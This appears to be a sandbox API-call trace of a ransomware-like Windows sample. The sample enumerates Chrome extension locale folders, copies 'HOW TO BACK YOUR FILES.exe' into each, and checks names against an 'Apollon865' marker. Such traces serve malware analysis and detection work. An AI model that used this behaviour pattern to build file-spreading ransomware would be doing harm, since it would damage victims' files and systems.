	[0048.160] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru"
	[0048.160] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.160] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.165] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.165] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827c7720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34c82890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34c82890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.165] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.165] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.165] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.165] lstrlenW (lpString="messages.json") returned 13
	[0048.166] lstrlenW (lpString="Apollon865") returned 10
	[0048.166] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.166] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro"
	[0048.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb3e8 | out: hHeap=0x580000) returned 1
	[0048.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0108 | out: hHeap=0x580000) returned 1
	[0048.166] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro") returned 141
	[0048.166] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro"
	[0048.166] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.166] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.170] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.170] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827b3ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34c82890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34c82890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.171] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.171] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.171] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.171] lstrlenW (lpString="messages.json") returned 13
	[0048.171] lstrlenW (lpString="Apollon865") returned 10
	[0048.171] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.171] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT"
	[0048.171] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ade20 | out: hHeap=0x580000) returned 1
	[0048.171] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00e8 | out: hHeap=0x580000) returned 1
	[0048.171] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT") returned 144
	[0048.171] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT"
	[0048.171] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.171] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.175] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.175] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827aa260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34c82890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34c82890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.175] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.175] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.175] lstrcpyW (in: lpString1=0x2d3e672, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.175] lstrlenW (lpString="messages.json") returned 13
	[0048.175] lstrlenW (lpString="Apollon865") returned 10
	[0048.175] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.176] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR"
	[0048.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5adce8 | out: hHeap=0x580000) returned 1
	[0048.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00c8 | out: hHeap=0x580000) returned 1
	[0048.176] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR") returned 144
	[0048.176] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR"
	[0048.176] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.176] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.180] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.180] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827a2d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ca89f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34ca89f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.180] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.180] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.180] lstrcpyW (in: lpString1=0x2d3e672, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.180] lstrlenW (lpString="messages.json") returned 13
	[0048.180] lstrlenW (lpString="Apollon865") returned 10
	[0048.181] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.181] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl"
	[0048.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb2c0 | out: hHeap=0x580000) returned 1
	[0048.181] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00a8 | out: hHeap=0x580000) returned 1
	[0048.181] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl") returned 141
	[0048.181] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl"
	[0048.181] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.181] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.184] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.184] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8279b800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ca89f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34ca89f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.185] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.185] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.185] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.185] lstrlenW (lpString="messages.json") returned 13
	[0048.185] lstrlenW (lpString="Apollon865") returned 10
	[0048.185] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.185] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl"
	[0048.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb198 | out: hHeap=0x580000) returned 1
	[0048.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0088 | out: hHeap=0x580000) returned 1
	[0048.185] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl") returned 141
	[0048.185] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl"
	[0048.185] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.185] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.190] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.190] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82791bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ca89f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34ca89f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.190] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.190] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.190] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.190] lstrlenW (lpString="messages.json") returned 13
	[0048.190] lstrlenW (lpString="Apollon865") returned 10
	[0048.190] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.190] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb"
	[0048.190] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb070 | out: hHeap=0x580000) returned 1
	[0048.190] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0068 | out: hHeap=0x580000) returned 1
	[0048.190] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb") returned 141
	[0048.190] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb"
	[0048.190] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.190] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.194] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.194] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82787f80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34cceb50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34cceb50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.194] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.194] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.194] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.194] lstrlenW (lpString="messages.json") returned 13
	[0048.194] lstrlenW (lpString="Apollon865") returned 10
	[0048.194] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.195] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv"
	[0048.195] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baf48 | out: hHeap=0x580000) returned 1
